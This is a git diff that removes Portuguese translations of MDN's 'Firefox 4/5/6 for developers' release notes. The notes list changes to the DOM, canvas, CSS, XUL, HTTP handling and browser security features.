  • -
  • O método document.createElement não aceita mais a tag nome entre < e > no modo quirk.
  • -
  • Os métodos element.setCapture() e document.releaseCapture() foram adicionados, permitindo aos elementos continuar a monitorar os eventos do mouse, mesmo quando o mouse está fora da área normal de monitoramento após a ocorrência de um evento mousedown.
  • -
  • A propriedade window.mozPaintCount foi adicionada; ela permite a determinação de quantas vezes um documento foi pintado. Isto pode ser útil no teste de performance de suas aplicações web.
  • -
  • O token de língua foi removido de window.navigator.appVersion e window.navigator.userAgent. Ao invés deles, use o window.navigator.language ou o Accept-Language headerbug 572656
  • -
  • O objeto XMLHttpRequest agora expõe a resposta como um array digitado em JavaScript, assim como uma string, usando a propriedade mozResponseArrayBuffer específica do Gecko.
  • -
  • Eventos de mouse agora incluem uma propriedade mozPressure indicando a quantidade de pressão em dispositivos de entrada sensíveis a pressão, suportados.
  • -
  • Os métodos window.URL.createObjectURL() e window.URL.revokeObjectURL() permitem a criação de objetos URL que referenciem arquivos locais.
  • -
  • O método DOMImplementation.createHTMLDocument() permite a criação de novos documentos HTML.
  • -
  • Node.mozMatchesSelector() agora lança uma exceção SYNTAX_ERR se o seletor de string selecionado for inválido, ao invés de, incorretamente, retornar false.
  • -
  • Agora é possível selecionar valores de propriedades em um elemento SVG usando a mesma sintaxe econômica do CSS. Por exemplo: element.style.fill = 'lime'. Veja element.style para detalhes.
  • -
  • A raiz do documento agora possui um atributo privatebrowsingmode que descreve o estado do modo de navegação privada, incluindo uma indicação se a navegação privada é temporária ou permanente para a sessão.
  • -
  • Agora o segundo parâmetro do método window.getComputedStyle() é opcional, assim como em qualquer outro navegador grande.
  • -
  • Agora o objeto StorageEvent do DOM está de acordo com a última versão da especificação.
  • -
  • O atraso mínimo permitido para o método window.setTimeout() é agora uma preferência, dom.min_timeout_value.
  • -
  • O evento MozAfterPaint não é mais enviado por padrão, devido uma potencial questão de segurança. Ele pode ser reabilitado configurando a preferência.
  • -
- -

Segurança

- -
-
- -
-
Política de Segurança de Conteúdo (CSP)
-
A Política de Segurança de Conteúdo (Content Security Policy - CSP) é uma proposta da Mozilla desenvolvida para ajudar web designers e administradores de servidores a especificar como o conteúdo em seus sites interage. A meta é ajudar a detectar e abrandar ataques, incluindo cross-site scripting e ataques de injeção de dados.
-
Segurança de Transporte do HTTP Estrito (HTTP Strict Transport Security)
-
A Segurança de Transporte de HTTP Estrito é uma característica que permite a um website dizer ao navegador que ele deve ser comunicado somente usando HTTPS, ao invés de HTTP.
-
O cabeçalho de resposta (The X-FRAME-OPTIONS response header)
-
O cabeçalho de resposta HTTP, X-FRAME-OPTIONS, introduzido no Internet Explorer 8 é agora suportado pelo Firefox. Isto permite a sites indicar quando suas páginas devem ou não ser usadas em quadros (frames), e, em caso afirmativo, se deve ou não restringir isto à mesma origem.
-
Mudanças na string de Agente de Usuário (User Agent string) changes
-
Como um meio para reduzir a quantidade de dados e entropia descartada em requisições HTTP (veja bug 572650) a força da criptografia e tokens de linguagem foram removidos pela string do agente de usuário.
-
- -

JavaScript

- -

Para uma visão geral das mudanças implementadas em JavaScript 1.8.5, veja Novidades no JavaScript 1.8.5. O JavaScript no Firefox 4 terá aderência adicional ao padrão ECMAScript 5.

- -

Ferramentas para desenvolvedores

- -
-
Usando o Web Console
-
A ferramenta Web Console é um depurador útil para ajudar desenvolvedores web, assim como, desenvolvedores de extensões.
-
- -
-
-Gecko 2.0 note -
(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)
-
- -

O Console de Erros está inicialmente desabilitado por padrão no Firefox 4. Você pode reabilitá-lo mudando a preferência devtools.errorconsole.enabled para true e reiniciando seu navegador.

-
- -

Mudanças para desenvolvedores Mozilla e de complementos

- -

Para dicas úteis sobre a atualização de extensões existentes para o Firefox 4, veja Atualizando extensões para o Firefox 4. Existem muitas mudanças de chaves que quebram a compatibilidade com complementos existentes, então certifique-se de ler este artigo.

- -

Se você é um desenvolvedor de temas, você deve ler Mudanças nos temas do Firefox 4 (en) para entender algumas mudanças críticas, às quais é necessário estar ciente.

- -

Módulos de codificação JavaScript

- -
-
Services.jsm
-
O módulo de código Services.jsm fornece "getters" que tornam mais fácil a obtenção de referências a serviços comumente usados, como o serviço de preferências ou o mediador de janelas, entre outros.
-
- -
-
JS-ctypes API
-
A API JS-ctypes torna possível chamar funções de fora da biblioteca compatível com C, sem precisar usar o XPCOM.
-
Gerenciador de Complementos
-
O Gerenciador de Complementos fornece informações sobre complementos instalados, suporte à gerência dos mesmos e fornece maneiras para instalar e remover complementos.
-
PopupNotifications.jsm
-
O novo módulo de notificações popup torna fácil apresentar notificações atrativas, não modais para o usuário. Você pode ver como usar esta API em Usando notificações de popup (en).
-
Carregando módulos de código a partir de URL chrome: (en)
-
Você pode agora carregar módulos JavaScript usando URL chrome:, mesmo dentro de arquivos JAR.
-
DownloadLastDir.jsm
-
O módulo de código DownloadLastDir.jsm fornece a variável global, a qual contém uma string que pode ser usada para aprender o caminho do diretório no qual ocorreu o último download. Este módulo lida com questões relacionadas a privacidade de navegação do usuário.
-
Medindo a performance usando o módulo de código PerfMeasurement.jsm (en)
-
O módulo de código PerfMeasurement.jsm proporciona uma API para mensurar a performance dos dados a nível de CPU no código JavaScript.
-
- -

Mudanças diversas aos módulos de código

- - - -

Mudanças no DOM

- -
-
- -
-
ChromeWorker
-
Um novo tipo de worker para código privilegiado; ele permite o uso de coisas como js-ctypes de workers em extensões e código de aplicações.
-
Eventos de toque
-
Suporte para eventos de toque (não padrões) foi adicionado; isto permite detectar o movimento de múltiplos dedos movendo-se em uma tela ao mesmo tempo.
-
- -

XUL

- -

Mudanças no elemento tabbrowser

- -

Várias mudanças foram feitas ao elemento <xul:tabbrowser> que causam impactos nas extensões que interagem com as abas. Adicionalmente para suportar abas aplicativos, estas mudanças também mudam a barra de abas para uma barra de ferramentas padrão, a qual permite que o usário arraste botões da barra de ferramentas para ela.

- -
    -
  • Os eventos de TabClose, TabSelect e TabOpen (fechar aba, selecionar aba e abrir aba) não levam mais ao elemento <xul:tabbrowser> (gBrowser). Eventos listeners (ouvintes) para estes eventos devem ser adicionados ao gBrowser.tabContainer ao invés de diretamente ao gBrowser.
  • -
  • O menu de contexto das abas não mais um filho anônimo do <xul:tabbrowser>. Ele pode portanto ser sobreposto diretamente com XUL overlays. Ele também pode ser acessado mais diretamente com JavaScript via gBrowser.tabContextMenu. Veja esta postagem no blog (en) para mais detalhes.
  • -
  • A nova propriedade visibleTabs foi adicionada para permitir pegar um array das abas visíveis correntemente; isto permite determinar quais abas estão visíveis no conjuto de abas atual. Isto é usado pelo Firefox Panorama, por exemplo.
  • -
  • Adicionado o novo método showOnlyTheseTabs; isto é usado pelo Firefox Panorama.
  • -
  • Adicionado o novo método getIcon, o qual permite pegar o favicon de uma aba sem ter chamar o elemento <xul:browser>.
  • -
  • Adicionada a nova propriedade tabbrowser.tabs, a qual permite facilmente pegar uma lista das abas em um elemento <xul:tabbrowser>.
  • -
  • Os novos métodos pinTab e unpinTab permitem que você prenda e desprenda abas (isto é, trocá-las entre serem abas de app ou abas normais).
  • -
- -

Mudanças para popups

- -
    -
  • Agora o elemento <xul:menupopup> do XUL possui a propriedade triggerNode, a qual indica o nó no qual o evento ocorreu, que causou a abertura do popup. Isto também requisitou a adição de um parâmetro de evento de disparo para o método openPopup. Além disso, foi adicionada a propriedade anchorNode; ela retorna a âncora especificada quando o popup foi criado.
  • -
  • O elemento <xul:panel> agora oferece os atributos fade e flip, os quais são usados para configurar o comportamento do novo estilo "arrow" de notificação de painéis.
  • -
- -

Suporte remoto ao XUL removido

- -

XUL remoto não é mais suportado; isto afeta os documentos XUL servidos através de HTTP; além disso, não é mais possível carregar documentos XUL usando URLs file:// a menos que você configure a preferência dom.allowXULXBL_for_file para true. Há, entretanto, um recurso de whitelist que pode ser usado para permitir domínios específicos a carregarem o XUL remotamente. O Remote XUL Manager extension permite o gerenciamento desta whitelist.

- -

Mudanças diversas no XUL

- -
    -
  • O atributo readonly agora funciona corretamente para campos.
  • -
  • O elemento <xul:resizer> agora permite o uso do atributo element para especificar um elemento a ser redimencionado, ao invés de redimencionar a janela.
  • -
  • O elemtno <xul:resizer> possui agora um atributo type que permite especificar que o redimencionador é para uma janela ao invés de um elemento, para prevenir o redimencionador da janela de ser dobrado.
  • -
  • O atributo "active" não é mais configurado como ativo em janelas XUL. Ao invés disso, você pode usar a nova pseudoclasse :-moz-window-inactive para definir diferentes estilos para as os fundos das janelas.
  • -
  • O atributo emptytext está agora obsoleto; ao invés dele, você deve usar o placeholder.
  • -
  • O elemento <xul:popup> não é mais suportado; ao invés dele, você deve usar o <xul:menupopup>.
  • -
  • O elemento <xul:window> agora oferece um atributo accelerated; quando verdadeiro, é permitido ao gerenciador de camadas por hardware, acelerar a janela.
  • -
  • O elemento <xul:stack> agora suporta os atributosl bottom e right.
  • -
  • Os eventos agora são lançados durante a customização da <xul:toolbox>, permitindo a detecção de mudanças nas barras de ferramentas (en).
  • -
  • O atributo alternatingbackground para elementos <xul:tree> não é mais suportado; ao invés dele, você pode usar a pseudoclasse :-moz-tree-row.
  • -
  • O botão de exibição da barra de ferramentas dos favoritos com anonid chevronPopup não é mais anônimo; ele possui um ID de "PlacesChevron".
  • -
  • O elemento <xul:tabs> agora possui a propriedade tabbox, substituindo a antiga propriedade _tabbox, a qual está obsoleta (e nunca foi documentada).
  • -
  • Elementos XUL <xul:window> agora possuem o atributo drawintitlebar; se ele for true, a área de conteúdo da janela inclui a barra de títulos, permitindo desenhar na barra de títulos.
  • -
  • Os novos elementos TabPinned e TabUnpinned estão disponíveis, permitindo que você detecte quando abas são prendidas e desprendidas (en).
  • -
  • O novo evento TabAttrModified é enviado quando os atributos label, crop, busy, image ou selected das abas são modificados.
  • -
  • Os elementos <xul:tab> agora possuem um atributo pinned, permitindo que você determine quando uma aba está ou não correntemente presa.
  • -
  • A classe setDirectionIndicator em elementos <xul:tree> não fez nada por algum tempo; agora ela não é mais usada.
  • -
  • O elemento <xul:window> possui agora um atributo chromemargin que permite configurar margens entre o chrome e o conteúdo de cada lado da janela; isto pode ser usado para desenhar na barra de títulos, por exemplo.
  • -
  • O elemento <xul:window> possui agora um atributo disablechrome; ele é usado para esconder a maioria do chrome em uma janela quando ela está sendo usada para exibir a IU no navegador, como em about:addons.
  • -
  • O elemento <xul:window> possui agora um atributo disablefastfind, o qual permite desabilitar a barra de busca em uma janela quando o conteúdo não a suporta. Isto é usado, por exemplo, no painel de complementos.
  • -
  • Barras de ferramentas agora podem ser caixas de ferramentas externas, enquanto continuarem sendo consideradas membros da  <xul:toolbox>, configurando a propriedade toolboxid da <xul:toolbox>. Além disso, o elemento <xul:toolbox> agora possui uma propriedade externalToolbars, a qual lista todas as barras de ferramentas consideradas membros da caixa de ferramentas.
  • -
  • Foi adicionado suporte a logging XUL templates para propósitos de depuração.
  • -
- -

Mudanças na IU que afetam os desenvolvedores

- -
-
A barra de complementos
-
O estado da barra foi removido em favor de uma nova barra de complementos. Será necessário atualizar sua extensão para usar isto se você já adicionou a IU à barra de estado no passado.
-
- -

Armazenamento

- -

Mudanças diversas na API storage (de armazenamento)

- - - -

XPCOM

- -

Em adição à mudanças específicas referenciadas abaixo, é importante notar que não existem mais interfaces estáticas. Todas as interfaces são dinâmicas, independente do que a documentação pode dizer. Atualizaremos a documentação com o tempo.

- -
-
Mudanças no XPCOM no Gecko 2.0
-
Detalhes sobre as mudanças para o XPCOM que causam algum impacto na compatibilidade do Firefox 4.
-
Components.utils.getGlobalForObject()
-
Este novo método retorna o objeto global com o qual um objeto é associado; ele substitui um caso de uso comum do agora removido __parent__.
-
- -

Places

- -
    -
  • Os resultados de consultas no Places podem agora ser vistos por múltiplos observadores eas consultas podem ser executadas assíncronamente. Isto significa que há algumas mudanças nas interfaces nsINavHistoryResult, nsINavHistoryQueryOptions, e nsINavHistoryContainerResultNode. Mais significantemente, a interface nsINavHistoryResultViewer foi renomeada para nsINavHistoryResultObserver.
  • -
  • Algumas novas notificações foram adicionadas para permitir que o navegador controle os processos de desligamento do serviço Places com mais segurança. Destas, a maioria é somente para uso interno, mas o conhecimento da notificação places-connection-closed está disponível quando o serviço Places completa seu processo de desligamento.
  • -
  • Agora o tamanho de saída do array em vários métodos do Places é opcional.
  • -
  • Foi removido o suporte para <menupopup type="places">.  Ao invés, é necessário criar e popular um menu com informações do Places manualmente, ao invés de ter isto feito para você. Veja Displaying Places information using views: Menu view para detalhes.
  • -
- -

Mudanças na interface

- - - -

Gerenciamento de memória

- -
-
Alocação de memória infalível
-
A Mozilla, agora proporciona alocadores de memória infalíveis que são garantem que não haverá um retorno null. Você deve ler este artigo para aprender como eles trabalham e como solicitar explicitamente a alocação de memória falível versus invalível.
-
- -

Outras mudanças

- -
    -
  • A maioria dos recursos contidos no Firefox foi combinado em um único arquivo JAR, omni.jar, o qual melhora a performance na inicialização reduzindo I/O. Para detalhes, leia Sobre omni.jar (en).
  • -
  • A preferência accessibility.disablecache não é mais suportada; ela está exposta apenas para propósitos de depuração e não é mais usada.
  • -
  • Complementos cujas GUID mudam de uma versão para outra podem agora ser atualizados corretamente.
  • -
  • Como um efeito colateral devido a remoção dos diretórios específicos para plataformas em pacotes de complementos, não é mais possível proporcional diferentes preferências padrão para cada plataforma.
  • -
- -

Outras mudanças

- -
-
Somente o arquivo chrome.manifest raiz é carregado
-
Agora somente o arquivo chrome.manifest raiz é carregado; se você necessitar de um arquivo de manifesto secundário para ser carregado, você pode usar o comando manifest no seu  chrome.manifest raiz para carregá-lo.
-
Removido o suporte ao Gopher
-
O protocolo Gopher não é mais suportado nativamente. O suporte continuado está disponível pela extensão OverbiteFF.
-
Processamento de eventos de manipulação de conteúdo
-
Com o objetivo de suportar plugins fora do processo e outra características de multi processamento, uma nova API foi introduzida para suportar o envio de mensagens através de processos.
-
- -
-
Extensões Bootstrapped (en)
-
Agora é possível criar extensões que podem ser instaladas, desinstaladas e atualizadas (ou desatualizadas) sem a necessidade de reiniciar o navegador.
-
- -
-
Plugin padrão removido
-
O plugin padrão foi removido. A pasta de aplicações plugin também foi removida por padrão, entretanto o suporte para a instalação de plugins através desta pasta ainda existe. Veja bug 533891.
-
Gerenciador de Extensões substituido pelo Gerenciador de Complementos
-
O nsIExtensionManager  foi substituido pelo Gerenciador de Complementos (en).
-
Os filhos HWND não são mais usados
-
O Firefox não cria mais filhos HWND para seu uso interno no Windows. Se você escreveu uma extensão que usa código nativo para manipular estas HWND, a sua extensão não funcionará no Firefox 4. Você precisará ou parar de usar HWND ou empacotar seu código dependente de HWND em um plugin NPAPI. Isto dará um grande trabalho, então se for possível não fazer uso do HWND diretamente, é recomendado evitá-lo.
-
Mudanças nos gestos
-
A rolagem com três dedos para cima ou para baixo em trackpads foi alterada para, por padrão, abrir e fechar a visão do Firefox Panorama (criado como TabCandy). Para voltar aos comando anteriores de rolagem para cima e para baixo, abra about:config e configure browser.gesture.swipe.down para cmd_scrollBottom e browser.gesture.swipe.up para cmd_scrollTop.
-
- -

Veja também

- - diff --git a/files/pt-pt/mozilla/firefox/releases/5/index.html b/files/pt-pt/mozilla/firefox/releases/5/index.html deleted file mode 100644 index 4565a3131d..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/5/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Firefox 5 para desenvolvedores -slug: Mozilla/Firefox/Releases/5 -translation_of: Mozilla/Firefox/Releases/5 -original_slug: Firefox_5_para_desenvolvedores ---- -
{{FirefoxSidebar}}

{{ draft() }}

-

O Firefox 5, é baseado no Gecko 5.0 e será lançado na metade de 2011. Este artigo proporciona links para informações sobre as mudanças que afetam os desenvolvedores nesta versão. Os nightly builds do futuro Firefox 5 estão disponíveis atualmente no canal Beta (iesto é, na seção mozilla-beta).

-
- Nota: Devido à maneira de funcionamento do processo de desenvolvimento, é possível que características atualmente listadas aqui possam ser transferidas para versões futuras do Firefox, por este motivo, por favor, fique atento a esta página.
-

Mudanças para desenvolvedores

-

HTML

-
    -
  • Todos os elementos HTML agora possuem o atributo {{ domxref("element.accessKey", "accessKey") }}, assim como os métodos {{ domxref("element.blur()", "blur()") }}, {{ domxref("element.click()", "click()") }} e {{ domxref("element.focus()", "focus()") }}. Os quais estão especificados na interface {{ domxref("HTMLElement") }}.
  • -
  • Com o objetivo de cumprir a especificação do HTML5, foi removido o suporte aos conjuntos de caracteres UTF-7 e UTF-32.
  • -
  • Peculiarmente, {{ HTMLElement("map") }} vazios não são mais ignorados em favor de não vazios quando houver correspondência. Veja as notas do Gecko sobre o elemento {{ HTMLElement("map") }} para detalhes.
  • -
-

Melhorias no Canvas

-
    -
  • O contexto de desenhos 2D do {{ HTMLElement("canvas") }} agora suporta a especificação de um objeto ImageData como entrada para o método createImageData(); isto cria um novo objeto ImageData inicializado com as mesmas dimensões do objeto especificado, mas ainda assim com pixels pré configurados para preto transparente. Isto já foi documentado, mas ainda não foi implementado.
  • -
  • A especificação de valores não finitos durante a adicão de cores, agora, através do método {{ domxref("CanvasGradient") }} addColorStop() agora lança corretamente INDEX_SIZE_ERR ao invés de SYNTAX_ERR.
  • -
  • O método {{ domxref("HTMLCanvasElement") }} toDataURL() agora deixa as letras do tipo MIME especificado, minúsculas corretamente, antes da comparação.
  • -
  • getImageData() agora aceita corretamente retângulos que se estendem além do limite do seu canvas; pixels fora do canvas são retornados como preto transparente.
  • -
  • drawImage() e createImageData() agora lidam com argumentos negativos de acordo com a especificação, coloando o retângulo ao redor do eixo apropriado. É necessário um artigo sobre redimencionamento CSS e como ele funciona.
  • -
  • A especificação de valores não finitos na chamada de createImageData() agora lança uma exceção NOT_SUPPORTED_ERR apropriada.
  • -
  • createImageData() e getImageData() agora retornam corretamente ao menos um pixels válido dos dados da imagem se um retângulo menor do que um pixels for especificado.
  • -
  • A especificação de um raio negativo na chamada de createRadialGradient() agora corretamente lança INDEX_SIZE_ERR.
  • -
  • A especificação de uma imagem null ou undefined na chamada de createPattern() ou drawImage() agora corretamente lança uma exceção TYPE_MISMATCH_ERR.
  • -
  • A especificação de valores inválidos para globalAlpha não lança mais uma exceção SYNTAX_ERR; estes agora são correta e silenciosamente ignorados.
  • -
  • A especificação de valores inválidos na chamada de translate(), transform(), rect(), clearRect(), fillRect(), strokeRect(), lineTo(), moveTo(), quadraticCurveTo() ou arc() não lançam mais uma exceção; estas chamadas são agora correta e silenciosamente ignoradas.
  • -
  • A configuração do valor de shadowOffsetX, shadowOffsetY ou shadowBlur para valores inválidos é agora silenciosamente ignorada.
  • -
  • A configuração do valor de rotate ou scale para valores inválidos é agora silenciosamente ignorada.
  • -
-

CSS

-
-
- CSS animations
-
- Foi adicionado o suporte para animações CSS, por enquanto com o uso do prefixo -moz-.
-
-

DOM

-
    -
  • O objeto {{ domxref("selection") }} do método modify() foi mudado para que a granularidade da seleção da "palavra" não mais inclua espaços a direita; isto torna-o mais consistente em diferentes plataformas e combina com o comportamento da implementação do WebKit.
  • -
  • O método {{ domxref("window.setTimeout()") }} agora limita-se a não enviar mais de um tempo limite por segundo em abas inativas. Adicionalmente, ele agora limita-se aos tempos limite aninhados para o menor valor permitido pela especificação do HTML5: 4ms (ao invés de 10ms, antes fixado).
  • -
  • Similarmente, o método {{ domxref("window.setInterval()") }} agora limita-se a não enviar mais do que um intervalo por segundo em abas inativas.
  • -
  • XMLHttpRequest agora suporta o evento loadend para ouvintes de progresso. Isto é enviado após o fim de qualquer transferência (isto é, após os eventos de abort, error ou load). Você pode usar isto para lidar com quaisquer tarefas que necessitem ser realizadas independente do sucesso ou da falha da transferência.
  • -
  • O {{ domxref("Blob") }} e, por extensão, o objeto {{ domxref("File") }} do método slice() foi removido e substituido com uma nova sintaxe que o torna mais consistente com os métodos Array.slice() e String.slice() do JavaScript. Este método foi chamado de mozSlice() por enquanto.
  • -
  • O valor de {{ domxref("window.navigator.language") }} é agora determinado pela observação do valor de Accept-Language do cabeçalho HTTP.
  • -
-

JavaScript

-
    -
  • Expressões regulare não podem mais ser chamadas como se fossem funções; esta mudança foi feita juntamente com a equipe do WebKit para assegurar a compatibilidade (veja {{ WebkitBug(28285) }}. Esta característica existiu por um longo tempo mas nunca foi documentada (ao menos não no MDC).
  • -
  • O método Function.prototype.isGenerator() é agora suportado; ele permite determinar se uma função é um generator.
  • -
-

SVG

-
    -
  • O atributo SVG {{ SVGAttr("class") }} pode agora ser animado.
  • -
  • As seguintes interfaces DOM relacionadas com o SVG, representando listas de objetos são agora indexáveis e podem ser acessadas como uma ordenação; adicionalmente, elas possuem uma propriedade length indicando o número de itens nas listas: {{ domxref("SVGLengthList") }}, {{ domxref("SVGNumberList") }}, {{ domxref("SVGPathSegList") }} e {{ domxref("SVGPointList") }}.
  • -
-

HTTP

-
    -
  • O Firefox não envia mais o cabeçalho HTTP "Keep-Alive"; nós não o estávamos formatando corretamente e ele era redundante, uma vez que também enviávamos o cabeçalho {{ httpheader("Connection") }} ou {{ httpheader("Proxy-Connection") }} com o valor "keep-alive" de qualquer modo.
  • -
  • O modelo de transação HTTP foi atualizado para ser mais inteligente no reuso de conexões na área de conexão permanente; ao invés de tratar isto como uma pilha {{ interwiki("wikipedia", "FIFO") }}, o Necko agora tenta sortear uma área com conexões com as maiores {{ interwiki("wikipedia", "congestion window") }} (CWND) primeiro. Isto pode reduzir o tempo de ida e volta (RTT) de transações HTTP evitando a necessidade de aumentar janelas de conexões em muitos casos.
  • -
  • O Firefox agora lida com o cabeçalho de resposta Content-Disposition HTTP mais efetivamente se ambos os parâmetros filename e filename* são fornecidos; ele procura por todos os nomes fornecidos, usando o parâmetro filename* se houver um disponível, mesmo se um parâmetro filename é incluido primeiro. Anteriormente, o primeiro parâmetro de comparação seria usado, desta forma impedindo o uso de um nome mais apropriado. Veja {{ bug(588781) }}.
  • -
-

MathML

- -

Ferramentas para desenvolvedores

-
    -
  • O objeto Console do Console Web agora possui um método debug(), o qual é um pseudônimo para seu método log(); isto melhora a compatibilidade com certos sites existentes.
  • -
-

Mudanças para desenvolvedores de complementos e da Mozilla

-
- Nota: O Firefox 5 requere que componentes bionários sejam recompilados, assim como todas as versões maiores do Firefox. Veja Interfaces Binárias para detalhes.
-

Mudanças nos módulos de código do JavaScript

-

Novos módulos de códigos JavaScript

-
    -
  • O módulo de código Dict.jsm foi adicionado; ele fornece uma API para dicionários de pares chave/valor.
  • -
-

NetUtil.jsm

-
    -
  • O método asyncFetch() agora suporta a especificação da fonte de entrada como um {{ interface("nsIInputStream") }}.
  • -
-

Mudanças na interface

-
    -
  • A interface {{ interface("nsIHttpChannelInternal") }} possui novos atributos provendo acesso à informações sobre os pontos de extremidades dos endereços e portas dos canais. Esta informação é fornecida primariamente para propósitos de depuração.
  • -
  • Os atributos {{ htmlattrxref("width", "canvas") }} e {{ htmlattrxref("height", "canvas") }} do elemento {{ HTMLElement("canvas") }} são agora refletidos em IDL como unsigned integers ao invés de signed (veja HTMLCanvasElement).
  • -
-

Ferramentas de depuração

-
    -
  • O novo ajudante DebugOnly<T> torna possível declarar variáveis somente para construções DEBUG.
  • -
-

API JavaScript (SpiderMonkey)

- -

Mudanças no sistema de construção

-
    -
  • -

    Você pode construir o Firefox sem um arquivo mozconfig; a configuração --enable-application agora tem "browser" por padrão. Após puxar ou baixar o código, você pode simplesmente configure && make (ou make -f client.mk) para construir o Firefox.

    -
  • -
-

Veja também

- -

{{ languages( { "en": "en/Firefox_5_for developers"} ) }}

diff --git a/files/pt-pt/mozilla/firefox/releases/6/index.html b/files/pt-pt/mozilla/firefox/releases/6/index.html deleted file mode 100644 index 7f28326dce..0000000000 --- a/files/pt-pt/mozilla/firefox/releases/6/index.html +++ /dev/null @@ -1,250 +0,0 @@ ---- -title: Firefox 6 para programadores -slug: Mozilla/Firefox/Releases/6 -translation_of: Mozilla/Firefox/Releases/6 -original_slug: Firefox_6_para_desenvolvedores ---- -
- -

O Firefox 6, baseado no Gecko 6.0, será lançado no dia 16 de agosto de 2011. Este artigo fornece hiperligações para a informação acerca das alterações que afetam os programadores neste lançamento.

- -

Alterações para os programadores da Web

- -

HTML

- -
-
- -
    -
  • O elemento <progress> do HTML5, o qual permite a criação de barras de progresso, agora é suportado.
  • -
  • A análise do elemento <track> do HTML5, o qual especifica faixas de texto para elementos de mídia, é agora suportado. Este elemento deve aparecer no DOM agora, apesar disso, seu comportamento ainda não foi implementado.
  • -
  • O elemento <iframe> agora está corretamente associado ao seu receptáculo quando as bordas do receptáculo foram arredondadas utilizando-se a propriedade border-radius.
  • -
  • Campos de texto <input> do elemento <form> não são mais suportam a propriedade maxwidth do XUL; isto nunca foi intencional, e está em desacordo com a especificação do HTML. Você deve ao invés, usar o atributo size para configurar a largura máxima dos campos de entrada.
  • -
  • As propriedades fillStyle e strokeStyle do <canvas> CanvasRenderingContext2d costumavam ignorar lixo incluído após a definição correta de cor; agora isto é corretamente tratado, como um erro. Por exemplo, "red blue" como uma cor, costumava ser tratado como "red", quando deveria ser ignorado.
  • -
  • A largura e altura dos elementos do <canvas> podem agora serem corretamente configuradas para 0px; anteriormente, elas estavam recebendo uma configuração arbirária de 300px quando essa configuração era testada
  • -
  • Foi adicionado suporte para custom data attributes (data-*). A propriedade element.dataset do DOM permite acessá-los.
  • -
  • Quando um elemento <textarea> recebe foco, o ponto de inserção de texto é agora indicado, por padrão, no início do texto, ao invés de no fim. Isto torna o comportamento do Firefox consistente com outros navegadores.
  • -
- -

CSS

- -
-
-moz-text-decoration-color
-
Esta nova propriedade permite configurar a cor usada em decorações de texto, tais como sublinhados, sobrelinhados e rasurados.
-
-moz-text-decoration-line
-
Esta nova propriedade permite configurar o tipo de decoração de texto adicionado a um elemento.
-
-moz-text-decoration-style
-
Esta nova propriedade permite configurar o estilo das decorações de texto, tais como sublinhado, sobrelinhado e rasurado. Os estilos incluem simples tracejado, tracejado duplo, linha ondulada, linha pontilhada e assim por diante.
-
-moz-hyphens
-
Esta nova propriedade permite controlar como é tratada a hifenização das palavras quando ocorre uma quebra de linha.
-
-moz-orient
-
Uma nova propriedade (atualmente específica da Mozilla) a qual permite controlar a orientação: vertical ou horizontal, de certos elementos (particularmente <progress>).
-
::-moz-progress-bar
-
A Mozilla-specific pseudo-element that lets you style the area of an <progress> element representing the completed portion of a task.
-
- -

Outras alterações

- -
    -
  • A propriedade @-moz-document possui uma nova função regexp(), a qual permite comparar uma URL de documento com uma expressão regular (en).
  • -
  • A propriedade azimuth do CSS não é mais suportada, haja vista a remoção do pequeno código do grupo de mídia aural que tínhamos. A mesma nunca foi significantemente implementada, portanto fazia mais sentido remover uma implementação intrincada pelo tempo ao invés de tentar corrigí-la.
  • -
  • No passado, a pseudoclasse :hover não se aplicava a seletores de classe quando no modo quirks; por exemplo, .someclass:hover não funcionava Este quirk foi removido.
  • -
  • A pseudoclasse :indeterminate pode ser aplicada a elementos <progress>. Isto não é um padrão, mas esperamos que seja adotado por outros navegadores, pois é útil.
  • -
- -

DOM

- -
-
Utilizar pedidos de multimédia do código (en)
-
Agora é possível testar o resultado de uma sequência de consulta de mídia programaticamente usando o método window.matchMedia() e a interface MediaQueryList.
-
- -
    -
  • navigator.securityPolicy, o qual retornou uma string vazia por muito tempo, foi totalmente removido.
  • -
  • document.height e document.width foram removidos. bug 585877
  • -
  • As propriedades entities e notations do objeto DocumentType, as quais nunca foram implementadas e sempre retornaram  null, foram removidas, uma vez que também foram removidas da especificação.
  • -
  • A interface DOMConfiguration e a propriedade document.domConfig que a utilizava foram ambas removidas; elas nunca foram suportadas e já foram removidas da especificação do DOM.
  • -
  • O evento hashchange agora inclui corretamente os campos newURL e oldURL (en).
  • -
  • O método abort() da interface FileReader agora lança uma exceção quando usado, se nenhuma leitura de arquivo estiver em progresso.
  • -
  • Agora é possível detectar quando uma impressão foi iniciada e completada (en) observando os novos eventos beforeprint e afterprint.
  • -
  • A propriedade document.strictErrorChecking foi removida, uma vez que nunca foi implementada e que foi removida da especificação do DOM.
  • -
  • A propriedade padrão event.defaultPrevented é agora suportada; deve-se usá-la ao invés do método não padrão getPreventdefault() para detectar se event.preventDefault() foi ou não chamado no evento.
  • -
  • A propriedade window.top é agora, corretamente, somente letura.
  • -
  • A visualização do DOM, a qual nunca foi documentada, foi removida. Isto era um pequeno detalhe de implementação que estava complicando as coisas desnecessariamente, então nos livramos disto. Se esta mudança for percebida, provavelmente se está fazendo alguma coisa errada.
  • -
  • O parâmetro EventTarget da função useCapture do addEventListener() é agora opcional, assim como no WebKit. Embora não seja um comportamento padrão, isto melhora a compatibilidade.
  • -
  • A propriedade mozResponseArrayBuffer do objeto XMLHttpRequest foi substituida pelas propriedades responseType e response.
  • -
  • A propriedade element.dataset foi adicionada à interface HTMLElement permitindo acesso aos atributos globais (en) data-* de um elemento.Global attributes#attr-data-*
  • -
- -

JavaScript

- -
    -
  • No passado, era possível usar o operador new em várias funções embutidas (eval, parseInt, Date.parse...) que não deveriam permitir isto, de acordo com a especificação. Este comportamento não é mais suportado. O uso do operador new desta maneira nunca foi oficialmente suportado e não foi muito utilizado, desta forma é pouco provável que esta mudança o afete.
  • -
  • O ECMAScript Harmony WeakMaps foi adicionado como uma implementação em protótipos.
  • -
- -

SVG

- -
    -
  • O atributo pathLength é agora suportado.
  • -
  • Os padrões, gradientes e filtros do SVG agora trabalham corretamente quando carregados de data: URLs (en).
  • -
- -

HTTP

- -
    -
  • A análise do "Content-Disposition" do cabeçalho foi corrigida para interpretar corretamente escapes de contrabarras e caracteres ASCII assim como o próprio caractere. Anteriormente o caractere estava sendo substituido incorretamente por um sublinhado ("_").
  • -
  • O cabecalho "Accept-Charset" não é mais enviado; sua utilidade é mínima agora que o suporte ao UTF-8 é quase universal e pode ser usado para obter informações (mínimas) sobre os usuários.
  • -
- -

Cookies

- -
    -
